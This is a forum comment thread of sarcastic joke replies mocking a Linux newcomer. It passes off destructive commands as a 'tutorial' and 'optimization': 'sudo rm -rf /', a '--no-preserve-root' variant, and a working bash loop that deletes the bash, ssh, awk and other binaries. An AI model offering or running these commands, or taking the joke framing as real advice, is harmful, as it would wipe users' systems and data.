• Rabbithole@kbin.social
    link
    fedilink
    arrow-up
    86
    arrow-down
    28
    ·
    edit-2
    1 year ago

    I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.

    It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

    Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

    sudo rm -rf /

    Type your password when prompted and you’re golden. No more linux issues ever again.

    • Hello Hotel@lemmy.world
      link
      fedilink
      arrow-up
      32
      arrow-down
      2
      ·
      edit-2
      1 year ago

      Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,

      I also find that adding --verbose adds more things like commentary and extras that really help

      So, run sudo rm -rf --no-preserve-root --verbose

      /s

      • Rabbithole@kbin.social
        link
        fedilink
        arrow-up
        19
        ·
        edit-2
        1 year ago

        All good points.

        That’s why I love communities like these, there are always people willing to expound upon other’s solutions with solid additional information.

        It’s what makes forums like these such goldmines of information when you’re first cutting your teeth learning new things.

        Upvoted.

    • whoamibro@lemmy.world
      link
      fedilink
      arrow-up
      24
      arrow-down
      3
      ·
      edit-2
      1 year ago

      I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I’ve ever seen. Now I wonder why other OSes don’t do that

      • Rabbithole@kbin.social
        link
        fedilink
        arrow-up
        13
        ·
        edit-2
        1 year ago

        It’s great, isn’t it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system’s using now that you’ve run the tutorials. It’s almost like nothing’s going on in the background at all.

        This is the reason that BASH will always be better than Powershell, imho.

          • Rabbithole@kbin.social
            link
            fedilink
            arrow-up
            13
            arrow-down
            1
            ·
            1 year ago

            Well, technically it teaches you how to optimize your system.

            That said, the optimizations are really effective.

            • Hello Hotel@lemmy.world
              link
              fedilink
              arrow-up
              8
              ·
              edit-2
              1 year ago

              Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably

              while read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <<bloatlist 
              clang # unwanted telemitry
              bash  # promotes violence
              tree    # hippy garbage
              awk    # secret backdoor into your PC
              ssh    # isnt up to date on its intentional encryption backdoor certificate
              bloatlist
              
              /s

              Hope nobody dumb enough to run this Because it actually works

              • Rabbithole@kbin.social
                link
                fedilink
                arrow-up
                4
                ·
                1 year ago

                Lol, I know what you mean.

                Isn’t it fucked up how we all say that linux doesn’t have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn’t have “Tree” or “Awk” just sitting there waiting to ruin your whole day.

                I swear to God Canonical have some things to answer for.

    • NightoftheLemmy@sh.itjust.works
      link
      fedilink
      arrow-up
      21
      arrow-down
      2
      ·
      1 year ago

      Done and I must say, as stated by the comments above - my CPU and RAM usage are at an all time low. Other OSes don’t hold shit against Linux now.

    • some_guy@lemmy.sdf.org
      link
      fedilink
      arrow-up
      12
      ·
      1 year ago

      I told someone to do that way back when. He wisely tried it on a computer at Best Buy (a Mac) rather than his own. I respected his thinking ahead.